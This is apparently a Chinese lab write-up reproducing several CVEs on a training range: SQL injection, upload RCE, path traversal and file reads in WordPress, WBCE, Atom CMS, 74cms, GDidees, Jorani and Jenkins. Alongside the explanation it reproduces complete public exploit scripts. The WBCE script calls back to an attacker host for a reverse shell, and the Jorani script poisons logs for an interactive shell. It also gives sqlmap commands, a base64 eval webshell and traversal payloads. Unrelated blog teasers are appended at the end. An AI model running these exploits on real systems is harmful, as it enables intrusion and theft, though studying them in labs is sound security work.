春秋云境 CVE 复现
CVE-2022-4230
靶标介绍
WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin+) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用户也可以访问它。
复现
wp-login.php
进入到后台登录页面
网页上面也有提示存在 用户 test, 弱口令进入后台
test / test
进入到后台, 根据靶机的描述, WP Statistics插件存在漏洞
在登录的状态下获取wpnonce值
url/wp-admin/admin-ajax.php?action=rest-nonce
sql注入点
url/wp-json/wp-statistics/v2/metabox?_wpnonce=6bd98e82d5&name=words&search_engine=2
使用bp抓包, 然后sqlmap跑 (时间盲注)
需要一步一步爆出数据库名, 表名, 字段名, 最后爆数据
sqlmap -r 1.txt --batch -D wordpress -T flag -C flag --dump --batch
CVE-2022-25101
靶标介绍
WBCE CMS v1.5.2 /templates/install.php 文件存在漏洞,攻击者可精心构造文件上传造成RCE
漏洞复现
跟描述不一样的是, 不仅仅是templates/install.php
可以上传文件, modules/install.php
也可以上传文件/languages
也有一个, 不过这个靶机好像把/languages/install.php
给删了, 页面不存在
dirsearch扫描到后台登录框, 弱口令 admin/123456 直接进去
根据提示, 进入到/templates
install那里可以上传文件, 尝试后发现只能上传 zip文件,
但是会发现上传了zip文件依旧不起作用,
查看源码会发现需要里面是info.php才行
function find_addon_root_path($zip)
{// get list of files contained in the zip objectif (($zip_files = $zip->listContent()) == 0) {return '';}// find first folder containing an info.php fileforeach ($zip_files as $zip_file => $info) {if (basename($info['filename']) == 'info.php') {return '/' . dirname($info['filename']);}}return '';
}
所以以 info.php里面写上命令 压缩成zip文件就可以执行了
这里是直接执行文件, 所以写上一句话木马是没有用的,
<?php phpinfo();?>
上传后可以发现是直接执行了
这里也就可以直接拿到flag
当然也是可以通过写入文件的方式拿shell,
<?php file_put_contents('shell.php',base64_decode('PD9waHAgZXZhbCgkX1JFUVVFU1RbJzEnXSk7cGhwaW5mbygpOz8+'));?>
base64解码 --> <?php eval($_REQUEST['1']);phpinfo();?>
注意shell.php的路由位置
网上也存在相应的exp
# Exploit Title: WBCE CMS 1.5.2 - Remote Code Execution (RCE) (Authenticated)
# Date: 02/01/2022
# Exploit Author: Antonio Cuomo (arkantolo)
# Vendor Homepage: https://wbce.org/
# Software Link: https://wbce.org/de/downloads/
# Version: 1.5.2
# Tested on: Linux - PHP Version: 8.0.14
# Github repo: https://github.com/WBCE/WBCE_CMS# -*- coding: utf-8 -*-
#/usr/bin/env pythonimport requests
import string
import base64
import argparse
import time
import io
from bs4 import BeautifulSoup #pip install beautifulsoup4PAYLOAD = 'UEsDBBQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMAAAAdDE4YmtuZXYucGhwhVVtT9swEP6OxH8wUaQmUqAJ24epUSYh6CY0CbQC2weGIje5UKuJndkOhSH++85OQqqqtBIizr08eZ6783U8nujoy3zJ4enwAF8ODxToVLMK0pJVTHuhH7u/prOby+urxIlOQid2WZ246Wz68256c3vvSHhKWe08xG4tpN70GJvxZYuGL1PF/kESfQ7D2F1JpiGlCW/KMnZBSiHf39QCyjIZNZxWQI5pTFYxYXlMxnPGx2pBjtkodnMKleBJiCeYN494YIVXNDzTTPAUnpnSyhvVGddlWgi5HPn+q1uzPBlMnm9yrDE5jvzXWjKuUbMznc2uZxNyTvlIExPp+DE8oyfy47cuxX+1lrC11EKx51SBViz3/E04o66H62PWIXsxUfwGpQIypP4+m11dXn2fkG+UlZATLUgbyxScEHK7YIrg39+GaSCZqNBDKM8JF0icalqeOIifLXImPWeM56aiamm7qkS2TArzX9TAPWxrYFsYmG5wYR9Ky+BTaMt0ZBPWVHV+4rXxG4JAZZLVWkhVQ5ZQKemLFyZf24NTsxqcwJGOH0SbxhUaT7cYkXItRQZKJeaZWtbtrAQb3wtck6Za3kylEpRoZAZej+B/1GxV0xUnFnRdD+oEWpn+pvMSy8D4o9d+4z58CLBAOwKifQGnHwbYkhvnO9mbJjP8C7wnL8RUAHKC9wykgpa1mRBs5cS2EiWsFqwE1PBqbgeIosXcov/GZmeCc7BXiGiQFeNUQ44wcyS3jN86kEHah0BdobeiuPjIU9pORSdyKNZ7VbDhvKnSbEH5I+SpCQOtkvdClUjU67CCfqEE/S4JzC6xE8B4uv6lLsO3JWmXhz/U9/r8B5lNzy6Qrct43eikMPF97rDHEHp7+oS0iYhQWFJrk9J6cKDWaQ3Sd1O7vbi+u91GbkDYT9CCbKFo5O2kd7qfHg7ALnqnu+kNIHvpvRVZKVRnxiD7NpR50xJtWuxw2SVircNaiPsfENJTcpXG06OVfNTt6W7mnc73hztI6fBAgm4kJ2H8H1BLAQI/ABQAAAAIAI1+n1Peb3ztBAMAAFUHAAAMACQAAAAAAAAAIAAAAAAAAAB0MThia25ldi5waHAKACAAAAAAAAEAGACAuZAFVv7XAYC5kAVW/tcB6Bk8KTf+1wFQSwUGAAAAAAEAAQBeAAAALgMAAAAA'def main():parser = argparse.ArgumentParser(description='WBCE <= 1.5.2 - Remote Code Execution (Authenticated)')parser.add_argument('-x', '--url', type=str, required=True)parser.add_argument('-u', '--user', type=str, required=False)parser.add_argument('-p', '--password', type=str, required=False)parser.add_argument('-ah', '--attacker_host', type=str, required=False)parser.add_argument('-ap', '--attacker_port', type=str, required=False)args = parser.parse_args()print("\nWBCE 1.5.2 - Remote Code Execution (Authenticated)","\nExploit Author: Antonio Cuomo (Arkantolo)\n")exploit(args, PAYLOAD)def exploit(args, payload):s2 = requests.Session()#loginbody= {'url':'','username_fieldname':'username_t18bknev','password_fieldname':'password_t18bknev','username_t18bknev':args.user,'password_t18bknev':args.password}r = s2.post(args.url+'/admin/login/index.php', data=body, allow_redirects=False)if(r.status_code==302 and r.headers['location'].find('/start/') != -1):print("[*] Login OK")else:print("[*] Login Failed")exit(1)time.sleep(1)#create dropletup = {'userfile':('t18bknev.zip', io.BytesIO(base64.b64decode(PAYLOAD)), "multipart/form-data")}r = s2.post(args.url+'/admin/admintools/tool.php?tool=droplets&upload=1', files=up)if(r.status_code==200 and r.text.find('1 Droplet(s) imported') != -1):print("[*] Droplet OK")else:print("[*] Exploit Failed")exit(1)time.sleep(1)#get csrf tokenr = s2.get(args.url+'/admin/pages/index.php')soup = BeautifulSoup(r.text, 'html.parser')formtoken = soup.find('input', {'name':'formtoken'})['value']#create pagebody= {'formtoken':formtoken,'title':'t18bknev','type':'wysiwyg','parent':'0','visibility':'public','save':''}r = s2.post(args.url+'/admin/pages/add.php', data=body, allow_redirects=False)soup = BeautifulSoup(r.text, 'html.parser')try:page_id = soup.findAll("script")[9].string.split("location.href='")[-1].split("\");")[0].split("'")[0].split("=")[1]print("[*] Page OK ["+page_id+"]")except:print("[*] Exploit Failed")exit(1)time.sleep(1)#get csrf tokenprint("[*] Getting token")r = s2.get(args.url+'/admin/pages/modify.php?page_id='+page_id)soup = BeautifulSoup(r.text, 'html.parser')formtoken = soup.find('input', {'name':'formtoken'})['value']section_id = soup.find('input', {'name':'section_id'})['value']time.sleep(1)#add droplet to pagebody= {'page_id':page_id,'formtoken':formtoken,'section_id':section_id,'content'+section_id:'[[t18bknev]]','modify':'save'}r = s2.post(args.url+'/modules/wysiwyg/save.php', data=body, allow_redirects=False)if(r.status_code==200 and r.text.find('Page saved') != -1):print("[*] Adding droplet OK")else:print("[*] Exploit Failed")exit(1) time.sleep(1)input("Please make sure that your nc listner is ready...\n\nPRESS ENTER WHEN READY")body= {'rev_ip':args.attacker_host,'rev_port':args.attacker_port}r = s2.post(args.url+'/pages/t18bknev.php', data=body, allow_redirects=False)if(r.status_code==200):print("[*] Exploit OK - check your listner")exit(0)else:print("[*] Exploit Failed")exit(1)if __name__ == '__main__':main()
使用方法
python 1.py -x http://eci-2zee9fyka6793h4gmc8w.cloudeci1.ichunqiu.com/ -u admin -p 123456 -ah [ip] -ap [端口]
CVE-2022-25487
靶标介绍:
Atom CMS 2.0版本存在远程代码执行漏洞,该漏洞源于/admin/uploads.php 未能正确过滤构造代码段的特殊元素。攻击者可利用该漏洞导致任意代码执行。
文件上传进行RCE
网站一进去是个空白, 先进行信息搜集, dirsearch扫一下目录
通过dirsearch找到了一个database.sql文件, 存在账户和密码, 密码都是同一个
md5在线解密一下可以发现是密码是 password
dirsearch可以扫到后台登录地址 admin/login.php alan@alan.com/password
登录进去
在user界面下存在一个文件上传的点
先尝试上传一张图片, 然后将图片的内容改成一句话木马, 上传, 发现有回显上传后的文件名
访问相应的路由, 发现可以进行RCE
(dirsearch可以扫出uploads目录, 所以可以猜测上传的文件在这一目录下)
sql注入漏洞
直接sqlmap跑
sqlmap -u "http://eci-2ze1j1a74y1jzc23w3ki.cloudeci1.ichunqiu.com/admin/index.php?page=users&id=5" --dbs --batch -p "id"
这里存在sql注入的点的路由还有挺多的, 比如登录那里也存在sql注入的漏洞
CVE-2022-26271
title: 74cmsSEv3.4.1任意文件读取漏洞
靶标介绍:
74cmsSEv3.4.1存在任意文件读取漏洞。
payload
/index/Download/?name=index.php&url=../../../../../../flag
漏洞分析
(没找到源码, 直接截图其他师傅的图片)
\upload\application\index\controller\Download.php
在Downloadl类里面定义了一个index函数, 对文件进行操作
这里面的name
参数 和 url
参数是可控的, 主要是url
参数, 没有进行任何的过滤, 可以目录穿越访问从而下载任何一个文件, 而name
参数就是为下载的文件重新命名, 无所谓是啥
然后就是如何调用到 Download类去执行这个方法
在index控制器类里面, 定义了一个index方法, 最后会返回一个 $this->fetch('index/'.$index_tpl.'/index')
这里$index_tpl
就是要调用的其他控制器类, 在这里就可以去调用 Download
控制器类了, 就可以利用到它的漏洞了
参考文章:
https://www.kinsomnia.cn/index.php/2024/01/22/%e6%98%a5%e7%a7%8b%e4%ba%91%e5%a2%83/
https://github.com/N1ce759/74cmsSE-Arbitrary-File-Reading/issues/1
CVE-2023-26469
靶标介绍:
Jorani是一款开源的员工考勤和休假管理系统,适用于中小型企业和全球化组织,它简化了员工工时记录、休假请求和审批流程,并提供了多语言支持以满足不同地区的需求。在 Jorani 1.0.0 中,攻击者可以利用路径遍历来访问文件并在服务器上执行代码。
复现
获取 csrf_cookie_jorani
: 2ff359dd7e588c19052a333a93e489f4
和 jorani_session
: bfa1edc456a027137540c2b7fde8a89926c4e785 两个cookie值
构造payload , 执行命令
csrf_test_jorani=2ff359dd7e588c19052a333a93e489f4&last_page=session/login&language=../../application/logs&login=<?=`$_GET[cmd]`?>&CipheredValue=test
/pages/view/log-2024-11-26?cmd=cat+/flag
exp
"""
vulnerability covered by CVE-2023-26469
"""
import readline
import requests
import datetime
import sys
import re
import base64
import random
import stringrequests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)msg = lambda x, y="\n": print(f'\x1b[92m[+]\x1b[0m {x}', end=y)
err = lambda x, y="\n": print(f'\x1b[91m[x]\x1b[0m {x}', end=y)
log = lambda x, y="\n": print(f'\x1b[93m[?]\x1b[0m {x}', end=y)CSRF_PATTERN = re.compile('<input type="hidden" name="csrf_test_jorani" value="(.*?)"')
CMD_PATTERN = re.compile('---------(.*?)---------', re.S)URLS = {'login': '/session/login','view': '/pages/view/',
}alphabet = string.ascii_uppercase
HEADER_NAME = ''.join(random.choice(alphabet) for i in range(12))BypassRedirect = {'X-REQUESTED-WITH': 'XMLHttpRequest',HEADER_NAME: ""
}INPUT = "\x1b[92mjrjgjk\x1b[0m@\x1b[41mjorani\x1b[0m(PSEUDO-TERM)\n$ " # The input used for the pseudo termu = lambda x, y: x + URLS[y]POISON_PAYLOAD = "<?php if(isset($_SERVER['HTTP_" + HEADER_NAME + "'])){system(base64_decode($_SERVER['HTTP_" + HEADER_NAME + "']));} ?>"
PATH_TRAV_PAYLOAD = "../../application/logs"if __name__ == '__main__':print("""/!\\ Do not use this if you are not authorized to /!\\""")log("POC made by @jrjgjk (Guilhem RIOUX)", "\n\n")if len(sys.argv) == 1:err(f"Usage: {sys.argv[0]} <url>")exit(0)log(f"Header used for exploit: {HEADER_NAME}")t = sys.argv[1]s = requests.Session()log("Requesting session cookie")res = s.get(u(t, "login"), verify=False)C = s.cookies.get_dict()Date = datetime.date.today()log_file_name = f"log-{Date.year}-{str(Date.month).zfill(2)}-{str(Date.day).zfill(2)}"csrf_token = re.findall(CSRF_PATTERN, res.text)[0]log(f"Poisoning log file with payload: '{POISON_PAYLOAD}'")log(f"Set path traversal to '{PATH_TRAV_PAYLOAD}'")msg(f"Recovered CSRF Token: {csrf_token}")data = {"csrf_test_jorani": csrf_token,"last_page": "session/login","language": PATH_TRAV_PAYLOAD,"login": POISON_PAYLOAD,"CipheredValue": "DummyPassword"}s.post(u(t, "login"), data=data)log(f"Accessing log file: {log_file_name}")exp_page = t + URLS['view'] + log_file_name### Shellcmd = ""while True:cmd = input(INPUT)if cmd in ['x', 'exit', 'quit']:breakelif cmd == "":continueelse:BypassRedirect[HEADER_NAME] = base64.b64encode(b"echo ---------;" + cmd.encode() + b" 2>&1;echo ---------;")res = s.get(exp_page, headers=BypassRedirect)cmdRes = re.findall(CMD_PATTERN, res.text)try:print(cmdRes[0])except:print(res.text)err("Wow, there was a problem, are you sure of the URL ??")err('exiting..')exit(0)
CVE-2023-27179
靶标介绍:
GDidees CMS v3.9.1及更低版本被发现存在本地文件泄露漏洞,漏洞通过位于 /_admin/imgdownload.php 的 filename 参数进行利用。
复现
url/_admin/imgdownload.php
在这个路由下 通过 filename参数进行一个文件读取
/_admin/imgdownload.php?filename=../../../../../etc/passwd
分析一下它的这部分的代码
可以发现它对于filename参数 使用了 readfile() 函数, 且没有进行任何过滤, 从而造成了任意文件读取的漏洞
<?php
// on essaie de reconnaitre l'extension pour que le téléchargement corresponde au type de fichier afin d'éviter les erreurs de corruptions
if (isset($_GET["filename"])) {$filename=$_GET["filename"];$uploadname=substr(basename($filename), 0, 6).'.png';switch(strrchr(basename($filename), ".")) {case ".gz": $type = "application/x-gzip"; break;case ".tgz": $type = "application/x-gzip"; break;case ".zip": $type = "application/zip"; break;case ".pdf": $type = "application/pdf"; break;case ".png": $type = "image/png"; break;case ".gif": $type = "image/gif"; break;case ".jpg": $type = "image/jpeg"; break;case ".txt": $type = "text/plain"; break;case ".htm": $type = "text/html"; break;case ".html": $type = "text/html"; break;default: $type = "application/octet-stream"; break;}//envoi du fichierheader('Content-Transfer-Encoding: $type\n');header('Content-Type: application/force-download');header('Content-Disposition: attachment; filename="'.$uploadname.'"');header('Content-Length: '.filesize($filename));header('Pragma: no-cache');header("Cache-Control: must-revalidate, post-check=0, pre-check=0, public");header("Expires: 0");@readfile($filename) OR die();
}
?>
CVE-2024-23897
靶标介绍:
Jenkins 2.441及更早版本,以及LTS 2.426.2及更早版本没有禁用其CLI命令解析器的一个功能,该功能会将参数中’@'字符后跟的文件路径替换为该文件的内容,允许未经身份验证的攻击者读取Jenkins控制器文件系统上的任意文件。
漏洞成因:
Jenkins提供了一个命令行接口,用户可以通过jenkins-cli.jar调用这个接口来执行一些jenkins的功能,但是由于使用jenkins-cli.jar执行命令行时,命令行是在服务端调用第三方库 args4j 进行解析的,这个库实现了Linux中一个常见的功能——如果一个参数是以@开头,则会被自动认为是一个文件名,文件内容会被读取作为参数,然后引发报错,将文件内容通过报错显示出来,造成了文件读取。
使用who-am-i
命令和 help
可以读取文件的前几行内容
如果Jenkins开启了“匿名用户可读”选项,则大部分命令都可以被调用,其中包括connect-node命令和reload-job命令。这俩命令可以用来读取文件全部内容
复现
在url/jnlpJars/jenkins-cli.jar
下载客户端
然后利用这个客户端进行文件读取
java -jar jenkins-cli.jar -s url -http help "@/etc/passwd"
java -jar jenkins-cli.jar -s url -http who-am-i "@/flag"
相关文章:
春秋云境 CVE 复现
CVE-2022-4230 靶标介绍 WP Statistics WordPress 插件13.2.9之前的版本不会转义参数,这可能允许经过身份验证的用户执行 SQL 注入攻击。默认情况下,具有管理选项功能 (admin) 的用户可以使用受影响的功能,但是该插件有一个设置允许低权限用…...
Linux入门攻坚——39、Nginx入门
Nginx:engine X Tengine:淘宝改进维护的版本 Registry: 使用了libevent库:高性能的网络库 epoll()函数 Nginx特性: 模块化设计、较好的扩展性;(但不支持动态加载模块功能&#…...
计算机网络的类型
目录 按覆盖范围分类 个人区域网(PAN) 局域网(LAN) 城域网(MAN) 4. 广域网(WAN) 按使用场景和性质分类 公网(全球网络) 外网 内网(私有网…...
解决 MySQL 5.7 安装中的常见问题及解决方案
目录 前言1. 安装MySQL 5.7时的常见错误分析1.1 错误原因及表现1.2 错误的根源 2. 解决方案2.1 修改YUM仓库配置2.2 重新尝试安装2.3 处理GPG密钥错误2.4 解决依赖包问题 3. 安装成功后的配置3.1 启动MySQL服务3.2 获取临时密码3.3 修改root密码 4. 结语 前言 在Linux服务器上…...
VITE+VUE3+TS环境搭建
前言(与搭建项目无关): 可以安装一个node管理工具,比如nvm,这样可以顺畅的切换vue2和vue3项目,以免出现项目跑不起来的窘境。我使用的nvm,当前node 22.11.0 目录 搭建项目 添加状态管理库&…...
【设计模式】【创建型模式(Creational Patterns)】之原型模式(Prototype Pattern)
1. 设计模式原理说明 原型模式(Prototype Pattern) 是一种创建型设计模式,它允许你通过复制现有对象来创建新对象,而无需通过构造函数来创建。这种方式可以提高性能,尤其是在对象初始化需要消耗大量资源或耗时较长的情…...
黄仁勋:人形机器人在内,仅有三种机器人有望实现大规模生产
11月23日,芯片巨头、AI时代“卖铲人”和最大受益者、全球市值最高【英伟达】创始人兼CEO黄仁勋在香港科技大学被授予工程学荣誉博士学位;并与香港科技大学校董会主席沈向洋展开深刻对话,涉及人工智能(AI)、计算力、领导…...
【C语言】宏定义详解
C语言中的宏定义(#define)详细解析 在C语言中,宏定义是一种预处理指令,使用 #define 关键字定义。它由预处理器(Preprocessor)在编译前处理,用于定义常量、代码片段或函数样式的代码替换。宏是…...
LangChain——多向量检索器
每个文档存储多个向量通常是有益的。在许多用例中,这是有益的。 LangChain 有一个基础 MultiVectorRetriever ,这使得查询此类设置变得容易。很多复杂性在于如何为每个文档创建多个向量。本笔记本涵盖了创建这些向量和使用 MultiVectorRetriever 的一些常…...
《岩石学报》
本刊主要报道有关岩石学基础理论的岩石学领域各学科包括岩浆岩石学、变质岩石学、沉积岩石学、岩石大地构造学、岩石同位素年代学和同位素地球化学、岩石成矿学、造岩矿物学等方面的重要基础理论和应用研究成果,同时也刊载综述性文章、问题讨论、学术动态以及书评等…...
数据结构 (12)串的存储实现
一、顺序存储结构 顺序存储结构是用一组连续的存储单元来存储串中的字符序列。这种存储方式类似于线性表的顺序存储结构,但串的存储对象仅限于字符。顺序存储结构又可以分为定长顺序存储和堆分配存储两种方式。 定长顺序存储: 使用静态数组存储ÿ…...
职场发展陷阱
一、只有执行,没有思考 二、只有过程,没有结果 三、只有重复,没有精进 四、不懂向上管理 五、定期汇报 六、不要憋大招 七、多同步信息...
Xcode15(iOS17.4)打包的项目在 iOS12 系统上启动崩溃
0x00 启动崩溃 崩溃日志,只有 2 行,看不出啥来。 0x01 默认配置 由于我开发时,使用的 Xcode 14.1,打包在另外一台电脑 Xcode 15.3 Xcode 14.1 Build Settings -> Asset Catalog Compliter - Options Xcode 15.3 Build S…...
极狐GitLab 17.6 正式发布几十项与 DevSecOps 相关的功能【二】
GitLab 是一个全球知名的一体化 DevOps 平台,很多人都通过私有化部署 GitLab 来进行源代码托管。极狐GitLab 是 GitLab 在中国的发行版,专门为中国程序员服务。可以一键式部署极狐GitLab。 学习极狐GitLab 的相关资料: 极狐GitLab 官网极狐…...
PVE相关名词通俗表述方式———多处细节实验(方便理解)
PVE设置初期,对CIDR、 网关、 LinuxBridge、VLAN等很有困惑的朋友一定很需要一篇能够全面通俗易懂的方式去理解PVE 中Linux网桥的工作方式,就像操作一个英雄,多个技能,还是需要一点点去学习理解的,如果你上来就对着别人…...
Ansible--自动化运维工具
Ansible自动化运维工具介绍 1.Ansible介绍 Ansible是一款自动化运维工具,基于Python开发,集合了众多运维工具(puppet、cfengine、chef、func、fabric)的优点,实现了批量系统配置、批量程序部署、批量运行命令等功能。…...
微信小程序学习指南从入门到精通
🗽微信小程序学习指南从入门到精通🗽 🔝微信小程序学习指南从入门到精通🔝✍前言✍💻微信小程序学习指南前言💻一、🚀文章列表🚀二、🔯教程文章的好处🔯1. ✅…...
微服务篇-深入了解使用 RestTemplate 远程调用、Nacos 注册中心基本原理与使用、OpenFeign 的基本使用
🔥博客主页: 【小扳_-CSDN博客】 ❤感谢大家点赞👍收藏⭐评论✍ 文章目录 1.0 认识微服务 1.1 单体架构 1.2 微服务 1.3 SpringCloud 框架 2.0 服务调用 2.1 RestTemplate 远程调用 3.0 服务注册和发现 3.1 注册中心原理 3.2 Nacos 注册中心 …...
使用 Django 构建支持 Kubernetes API 测试连接的 POST 接口
文章目录 使用 Django 构建支持 Kubernetes API 测试连接的 POST 接口功能需求使用 kubectl 获取 Token命令解析输出示例 完整代码实现Kubernetes API 客户端类功能说明 Django 接口视图关键点解析 路由配置 接口测试请求示例响应结果成功错误 优化建议1. 安全性2. 错误处理3. …...
十二、正则表达式、元字符、替换修饰符、手势和对话框插件
1. 正则表达式 1.1 基本使用 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Document</title&g…...
计算机毕业设计Python+大模型美食推荐系统 美食可视化 美食数据分析大屏 美食爬虫 美团爬虫 机器学习 大数据毕业设计 Django Vue.js
温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 温馨提示:文末有 CSDN 平台官方提供的学长联系方式的名片! 作者简介:Java领…...
【后端面试总结】MySQL索引
数据库索引不只一种实现方法,但是其中最具代表性,也是我们面试中遇到最多的无疑是B树。 索引为什么选择B树 数据量很大的查找,是不能直接放入内存的,而是需要什么数据就通过磁盘IO去获得。 红黑树,AVL树等二叉查找树…...
[蓝桥杯 2021 省 AB2] 小平方
题目描述 小蓝发现,对于一个正整数 nn 和一个小于 nn 的正整数 vv,将 vv 平方后对 nn 取余可能小于 nn 的一半,也可能大于等于 nn 的一半。 请问,在 11 到 n−1n−1 中, 有多少个数平方后除以 nn 的余数小于 nn 的一半。 例如&…...
Jmeter测试工具的安装和使用,mac版本,jmeter版本5.2.1
Jmeter测试工具的安装和使用JSON格式请求 一、安装1、安装jdk包和设置java环境2、去官网下载Jmeter3、解压后,打开mac终端,进入apache-jmeter的bin文件开启jmeter 二、使用jmeter1、添加线程2、添加HTTP请求3、配置请求的协议、IP地址、端口号、请求方法…...
kmeans 最佳聚类个数 | 轮廓系数(越大越好)
轮廓系数越大,表示簇内实例之间紧凑,簇间距离大,这正是聚类的标准概念。 簇内的样本应该尽可能相似。不同簇之间应该尽可能不相似。 目的:鸢尾花数据进行kmeans聚类,最佳聚类个数是多少? plot(iris[,1:4…...
【纪念365天】我的创作纪念日
过去的一年 没有注意加入csdn已经有一年了。 这几天翻看小猴儿的通知才发现时间来到了一年的纪念日。稍稍思索想要将这一段时间的学习到的知识以及偶然遇到的机遇做一下总结。 上一次写纪念日是来到csdn128天的时候, 200天前我的学习状态是非常疯狂的。 只记得我当时…...
Opencv+ROS实现颜色识别应用
目录 一、工具 二、原理 概念 本质 三、实践 添加发布话题 主要代码 四、成果 五、总结 一、工具 opencvros ubuntu18.04 摄像头 二、原理 概念 彩色图像:RGB(红,绿,蓝) HSV图像:H࿰…...
蓝桥杯c++算法秒杀【6】之动态规划【下】(数字三角形、砝码称重(背包问题)、括号序列、异或三角:::非常典型的必刷例题!!!)
别忘了请点个赞收藏关注支持一下博主喵!!!! ! ! ! ! 关注博主,更多蓝桥杯nice题目静待更新:) 动态规划 三、括号序列 【问题描述】 给定一个括号序列,要求尽可能少地添加若干括号使得括号序列变得合…...
C++设计模式(单例模式)
一、介绍 1.动机 在软件系统中,经常有这样一些特殊的类,必须保证它们在系统中只存在一个实例,才能确保它们的逻辑正确性、以及良好的效率。 如何绕过常规的构造器,提供一种机制来保证一个类只有一个实例? 这应该是类设计者的…...
前端---CSS(部分用法)
HTML画页面--》这个页面就是页面上需要的元素罗列起来,但是页面效果很差,不好看,为了让页面好看,为了修饰页面---》CSS CSS的作用:修饰HTML页面 用了CSS之后,样式和元素本身做到了分离的效果。---》降低了代…...
江苏网站建设系统方案/关键词分类
简介: 起始时间:请在 index.html中的计时器模块第131行自行修改 背景图:在 index.html中第20行修改 评论系统配置:在Valine申请appid, appkey值填写至index.html第244行和第245行 网盘下载地址: http://k…...
做安防在哪个网站做广告呢/怎么做互联网营销推广
FYI:For Your Information.供您参考。 PFA:please find attached.请参看附件。...
西安市政府网站建设/被代运营骗了去哪投诉
对绝大年夜部分高考生来说,都是以高考成绩能否婚配来抉择黉舍的。这三所黉舍的打算机专业录取分数高低差别,其中北京航空航天大年夜学打算机专业的录取分数最高,其次是哈尔滨产业大年夜学(深圳),再次是哈尔滨产业大年夜学本部。抉…...
网站建设网页设计培训班/搜索引擎优化关键词的处理
欢迎关注”生信修炼手册”!mutagene是一个肿瘤突变频谱数据库,从ICGA, TCGA等肿瘤项目中收集整理蛋白编码基因上的体细胞突变数据,分析识别对应的突变频谱,对应的文章发表在Nucleic Acids Research,链接如下https://academic.oup.com/nar/art…...
网站栏目内容/武汉谷歌seo
题库来源:安全生产模拟考试一点通公众号小程序 2022低压电工考试题是低压电工题库上机考试练习题!2022年低压电工考试试题模拟考试平台操作依据低压电工考前押题。低压电工练习题通过安全生产模拟考试一点通模拟在线真实考试。 1、【单选题】( )仪表由固…...
敏捷开发流程的8个步骤/seo关键词排名公司
作者:Sinsonglew 出处:http://www.cnblogs.com/sinsonglew 欢迎转载,也请保留这段声明。thanks :) 注记:NCL官方依赖安装包全集列表、官方源码编译指导链接:http://www.ncl.ucar.edu/Download/build_from_src.shtml&am…...